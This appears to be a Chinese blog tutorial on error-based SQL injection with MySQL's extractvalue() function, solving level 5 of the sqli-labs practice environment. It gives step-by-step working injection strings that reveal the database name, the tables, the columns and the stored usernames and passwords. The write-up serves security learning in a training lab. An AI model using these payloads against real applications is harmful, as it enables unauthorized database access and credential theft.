利用extractvalue报错注入sqli-labs第五关

一、环境及工具

sqli-labs第五关   火狐浏览器  hackbar

二、知识点

1、报错注入(Error-based Injection)是SQL注入的一种形式,利用了应用程序返回的错误消息来获取数据库信息。它的原理是通过构造恶意的SQL查询,当应用程序在执行这些查询时发生错误,错误消息中可能包含了有关数据库结构、表名、列名或其他敏感信息的相关细节。攻击者可以利用这些错误消息来推断数据库的结构,进而进行进一步的攻击。

2、extractvalue()函数

是一个用于从 XML 数据中提取特定节点值的函数。它用于从 XML 文档中检索元素或属性的值。

extractvalue() 函数接受两个参数:一个是 XML 文档或 XML 字符串,另一个是一个 XPath 表达式。XPath 是一种用于在 XML 文档中定位节点的语言

如:

SELECT EXTRACTVALUE(xml_data, '/bookstore/book/title') AS title;

这句sql语句的意思是从使用 EXTRACTVALUE() 函数和 路径表达式 /bookstore/book/title,我们提取了书的标题。结果将作为 title 列返回

3、报错信息的利用

如果我们将extractvalue()函数的路径表达式格式故意写错,如将前面的反斜杠改成‘~’,即‘~bookstore/book/title',我们将会得到一段提示报错信息。

如:

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

这句可以将当前表所在的database同报错信息一同输出到屏幕当中,而攻击者则可以利用这段报错信息构建sql语句获取敏感信息。

三、实操示例

sqli-labs第五关:

1、根据报错信息判断出是单引号字符型

2、利用extractvalue()报错爆出库名为security

?id=100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+

 注:其中concat()是将两字符串拼接成一串,这里的0x7e对应字符为’~‘

此时执行的sql语句为:

select * from users where id='100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+'

而此时extractvalue()路径表达式错误,提示错误将连同database()函数执行并显示出来。

3、获取所需数据表名

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

 可以看出爆出了几个在所在数据库的表名,其中users表是我们需要的表名

4、获取users表中的列名

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

此时我们爆出了users表中的三列内容,分别如图所示

4、爆出用户名与密码

?id=100' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'--',password),1,31) from users))) --+

此时我们可以看到已经爆出了表中的用户名跟密码了,不过报错注入的缺点是默认返回固定的字符串数,而我们可以用substring()函数,通过更改参数方便我们查看

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值